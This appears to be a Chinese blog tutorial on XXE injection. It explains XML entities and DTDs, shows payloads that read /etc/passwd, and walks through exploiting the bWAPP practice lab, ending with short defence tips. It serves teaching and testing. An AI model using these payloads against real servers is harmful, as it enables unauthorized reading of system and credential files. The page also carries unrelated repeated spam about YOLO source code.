XXE

1.XML

  • 什么是xml,他是用来干什么的?

    xml(xtensible markup language),可扩展标记语言,其实就是一种传输文本的格式,他的格式和html的格式非常相似,通常是来做配置文件和存贮数据。而后来出现了json,json速度更快而被广泛使用

  • xml的内部实体和外部实体的格式是什么样子的

    如图就是一个典型的xml文本:

    在这里插入图片描述

  1. 格式:xml声明:<?xml version="1.0" ?>
  2. 定义文档内部或者外部实体格式:
  3. DOCTYPE 用来声明 DTD :<DOCTYPE 根元素[元素声明]>
    • <!ELEMENT 实体名称 “实体值”>
    • <!ELEMENT 实体名称 system "URL">
    • 区段分隔符CDATA(<![CDATA[/]]): 这个分隔符的意义在于 xml 解析器不会去解析 CDATA 区段包含的字符,CDATA 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data)。在 XML 元素中,"<" (新元素的开始)和 “&” (字符实体的开始)是非法的。某些文本,比如 JavaScript 代码,包含大量 “<” 或 “&” 字符。为了避免错误,可以将脚本代码定义为 CDATA。CDATA 部分中的所有内容都会被解析器忽略。CDATA 部分由 “<![CDATA[" 开始,由 "]]>” 结束
  4. 引用实体:&实体名称;

2.XML审查不严格的时候会出现什么威胁

  • xml可以访问外部url资源,内部的系统文件等,这种行为就叫做xxe注入。外部实体及外部文件
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root[
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
//上述代码中声明了一个外部实体,变量名叫xxe,值引入的是//etc/passwd文件的路径,然后进行root遍历
  • 可使用的函数
    在这里插入图片描述

3.XML注入实例

  • bwapp——XML External Entity Attacks (XXE)

    在这里插入图片描述

  • 点击any bugs,使用bwapp进行抓包

在这里插入图片描述

  • 将此xml重新设置为:
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root[
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
    ]>
    <reset>
      <login>&xxe;</login>
      <secret>Any bugs?</secret>
    </reset>

🔺 //其中注意引用xxe:&xee;

  • 读取敏感文件

在这里插入图片描述

防御xxe注入

  • 过滤用户提交的xml注入
  • 禁用引用外部实体
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
YOLO高分设计资源源码,详情请查看资源内容中使用说明 YOLO高分设计资源源码,详情请查看资源内容中使用说明 YOLO高分设计资源源码,详情请查看资源内容中使用说明 YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明YOLO高分设计资源源码,详情请查看资源内容中使用说明

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值